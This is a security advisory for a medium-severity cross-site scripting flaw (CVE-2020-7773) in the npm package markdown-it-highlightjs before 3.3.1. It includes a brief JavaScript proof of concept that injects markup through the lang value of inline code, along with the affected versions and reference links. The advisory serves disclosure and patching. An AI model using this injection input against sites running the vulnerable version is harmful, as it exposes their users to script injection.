GHSA-f246-xrrj-g8j6MediumCVSS 6.1
Cross-site Scripting in markdown-it-highlightjs
🔗 CVE IDs covered (1)
📋 Description
This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature.
const markdownItHighlightjs = require("markdown-it-highlightjs");
const md = require('markdown-it');
const reuslt_xss = md().use(markdownItHighlightjs, { inline: true }).render('console.log(42){.">js}');
console.log(reuslt_xss);
🎯 Affected products1
- npm/markdown-it-highlightjs:< 3.3.1
🔗 References (5)
- https://nvd.nist.gov/vuln/detail/CVE-2020-7773
- https://github.com/valeriangalliat/markdown-it-highlightjs/pull/14
- https://github.com/valeriangalliat/markdown-it-highlightjs/blob/v3.3.0/index.js%23L52
- https://snyk.io/vuln/SNYK-JS-MARKDOWNITHIGHLIGHTJS-1040461
- https://github.com/advisories/GHSA-f246-xrrj-g8j6